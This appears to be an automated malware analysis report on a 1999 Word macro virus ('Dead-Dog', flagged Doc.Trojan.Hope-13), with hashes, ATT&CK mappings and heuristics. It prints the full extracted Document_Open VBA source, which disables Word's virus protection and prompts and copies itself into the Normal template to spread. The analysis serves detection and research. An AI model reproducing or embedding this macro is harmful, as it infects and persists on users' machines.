Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 737bd03c10e6d0c1…

MALICIOUS

Office (OLE)

31.0 KB Created: 1999-08-24 22:00:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e21a71c8f9134430e99891275bbfebaf SHA-1: fc471b28ef553a9536a98c2fc22593ec074d7b1f SHA-256: 737bd03c10e6d0c14b976eb4721b52c0da10e18cc30d37cea58f3d80f079b5c5
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1566.001 Spearphishing Attachment

The sample is a malicious Word document containing VBA macros. The Document_Open macro is designed to disable virus protection, overwrite the Normal template with its own code, and then save the document. This technique is often used to establish persistence or prepare for further malicious activity. The macro's author is identified as 'Lys Kovick' and the file name 'Dead-Dog.doc' is mentioned within the script.

Heuristics 3

  • ClamAV: Doc.Trojan.Hope-13 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Hope-13
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 822 bytes
SHA-256: d2c8cb433193e41f62577ae00d19f2c44afe5d94924fa25e2f31988a69f095a1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open(): Options.VirusProtection = 0: Options.ConfirmConversions = 0: Options.SaveNormalPrompt = 0: A = ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1): NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines: NormalTemplate.VBProject.Description = A: NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromString ThisDocument.VBProject.Description: ActiveDocument.SaveAs FileName:=ActiveDocument.FullName: End Sub 'Dead-Dog By Lys Kovick

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